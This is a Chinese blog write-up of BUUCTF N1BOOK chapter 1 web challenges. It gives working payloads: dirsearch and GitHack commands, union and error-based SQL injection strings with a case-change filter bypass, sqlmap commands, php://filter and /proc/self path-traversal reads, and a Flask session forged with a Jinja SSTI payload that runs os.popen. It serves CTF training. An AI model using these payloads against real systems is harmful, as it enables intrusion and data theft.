[CTF夺旗赛] BUUCTF N1BOOK 第一章 web入门

前言

CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。

BUUCTF是一个很好的CTF训练平台,这里介绍的是N1BOOK部分的第一章,后续会陆续更新
BUUCTF网址:https://buuoj.cn/
在这里插入图片描述

[第一章 web入门]常见的搜集1

1.先进入页面,观察信息,发现提示敏感信息,我们可以使用目录扫描工具对网页进行扫描。

在这里插入图片描述

2.这里使用dirsearch工具来进行信息查找。

dirsearch -u http://065698d0-f786-4297-b28c-82bbd97e501c.node5.buuoj.cn:81/ 

在这里插入图片描述

2.在页面中访问robots.txt文件页面:

在这里插入图片描述

3.根据robots.txt中的信息,访问flag1_is_her3_fun.txt,找到了flag1(n1book{info_1)

在这里插入图片描述

4.同样的,我们还扫到index.php~.index.php.swp,在文件中,我们可以找到flag2(s_v3ry_im)flag3(p0rtant_hack})
flag2:

在这里插入图片描述
flag3:

在这里插入图片描述

5.将他们拼接起来,就是 flag(n1book{info_1s_v3ry_imp0rtant_hack})。

[第一章 web入门]粗心的小李

1.先进入页面,观察信息,我们发现是git泄露漏洞,这时候就想到使用工具GitHack
在这里插入图片描述

2.我们打开到kali下的GitHack目录,运行命令,这会生成一个index.html文件,打开文件我们就可以获取到flag(n1book{git_looks_s0_easyfun})。

python GitHack.py http://93d14fa6-2eeb-49fd-91b7-bfdb0e13b39d.node5.buuoj.cn:81/.git/

在这里插入图片描述

在这里插入图片描述

[第一章 web入门]SQL注入-1

1.先进入index.php?id=1,发现并没有有效的信息,打开F12,进入hackbar,注入',发现奇数个会异常,偶数不会,说明此为字符型注入
在这里插入图片描述

2.接着我们就要来搞清是怎么回显的了,注入order by 1--+,我们发现回显正常,接着依次增加,当我们注入order by 4--+时,发现页面异常,说明回显位数最多为3

在这里插入图片描述

3.当我们确定了回显位数,就要确定回显位置了。注入id=0'union select 1,2,3--+,确定回显的位置(2,3)。

在这里插入图片描述

4.我们在2位置进行注入,来获取数据库名,注入id=0'union select 1,database(),3--+,注入成功得到数据库名(node)。

在这里插入图片描述

5.得到数据库名,我们就开始查找表名,注入id=0'union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='note'),3--+,注入成功回显表名(fl4g,notes)。

在这里插入图片描述

6.得到表名之后,我们就开始查找字段名,注入id=0' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='fl4g'),3--+,注入成功回显字段名(fllllag)。

在这里插入图片描述

7.得到字段名之后,就要找字段里面的值了,注入id=0' union select 1,(select group_concat(fllllag)from fl4g),3--+,注入成功得到flag(n1book{union_select_is_so_cool} )。

在这里插入图片描述

这里除了使用联合注入之外,还可以使用sqlmap工具来实现,以下是sqlmap命令:

# 获取数据库名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" --dbs --batch
# 获取数据库表名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note --tables --batch
# 获取字段名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g --columns --batch
# 获取flag值
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g -C 'fllllag' --dump --batch

在这里插入图片描述

[第一章 web入门]SQL注入-2

1.先进入login.php,进行简单的sql注入发现并不能成功,打开F12 进入Inspector发现tips,确定是报错型SQL注入

在这里插入图片描述

2.我们使用burp来进行抓包分析,我们先随便登录一下,然后进行抓包:

在这里插入图片描述

3.使用burp进行抓包:

在这里插入图片描述

4.在url后加?tips=1,开启mysql错误提示,在用户登录地方加上''',发现只有奇数引号时会报错,偶数不会报错,说明是字符型

在这里插入图片描述

5.注入and updatexml(1,concat(0x7e,database(),0x7e),1)# 回显报错数据库名(note)

在这里插入图片描述

6.获取到数据库名后,需要得到数据库表,注入and updatexml(1,concat(0x7e,(seLect group_concat(table_name)from information_schema.tables where table_schema='note'),0x7e),1)#,这里使用的是seLect,而不是select,如果使用会发现报语法错误,因为禁用了关键字,所以使用seLect关键字绕过,注入成功后显示表名(fl4g,users)。

在这里插入图片描述

7.在获取到表后,需要得到表中的字段,注入and updatexml(1,concat(0x7e,(seLect group_concat(column_name)from information_schema.columns where table_name='fl4g'),0x7e),1)#,注入成功后显示字段名(flag)。

在这里插入图片描述

8.在获取到字段后,需要得到字段中的值,注入and updatexml(1,concat(0x7e,(seLect group_concat(flag)from fl4g),0x7e),1)#,注入成功回显值flag(n1book{login_sqli_is_nice})。
在这里插入图片描述

[第一章 web入门]afr_1

1.打开首页,我们发现url很有意思,它是带参数的,所以我们就联想到利用这个特点。
在这里插入图片描述

2.我们将hello换成别的东西,如111、flag,发现输入flag的时候显示如下:
在这里插入图片描述

3.我们利用php伪协议来查看源代码是否有隐藏信息(PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9),以base64的形式输出。

php://filter/convert.base64-encode/resource=flag

在这里插入图片描述

4.将得到的信息进行解码,得到flag(n1book{afr_1_solved})。
在这里插入图片描述

[第一章 web入门]afr_2

1.打开首页,发现并没有可用的信息,打开网页源代码,发现一个目录

在这里插入图片描述
在这里插入图片描述

2.拿到这个目录,我们就可以来使用命令穿越/img../遍历目录

在这里插入图片描述

3.我们在这个目录下发现一个flag文件,我们看一下这个文件里面存储了flag(n1book{afr_2_solved})。
在这里插入图片描述

[第一章 web入门]afr_3

1.首先访问首页,这里有一个提交,我们随便提交一个信息上去,我提交的是111。

在这里插入图片描述

2.提交过后跳到一个/n1page界面,访问article后发现url传参

在这里插入图片描述
在这里插入图片描述

3.我们改变一下传的参数,使name=111,发现它把目录/home/nullllllll/articles爆出来了!说明存在目录穿越或者文件包含漏洞
在这里插入图片描述

4.我们知道后就可以来查看获取当前进程的命令行参数?name=../../../../../proc/self/cmdline

在这里插入图片描述

5.获取到server.py后,我们就去查看代码?name=../../../../../proc/self/cwd/server.py,发现了两个文件flag.pykey.py

在这里插入图片描述

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
 
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
 
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page(): 
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None  
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)   
 
@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
    
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e
 
    return render_template('article.html', template=template)
 
if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

6.查看这两个文件,flag.py不能访问

在这里插入图片描述

7.访问key.py,得到#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA',这是一个以python编写的脚本,根据代码我们可知两个路径,一个/n1page,一个/article,如果我们传入的Session中有n1code,我们将._{}用空代替,也就是去掉这些字符,经过过滤,传入的Session进入template,我们就在这个地方来伪造Session

在这里插入图片描述

8.我们需要把脚本#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA进行加密,需要到Git上拉。

git clone https://github.com/noraj/flask-session-cookie-manager

然后在文件夹中执行命令进行加密

python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

在这里插入图片描述

接着我们将加密后的cookie放到bp(主页提交页面)中去发包,即可得到flag(n1book{afr_3_solved})。

在这里插入图片描述

  • 20
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Da1NtY0926

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值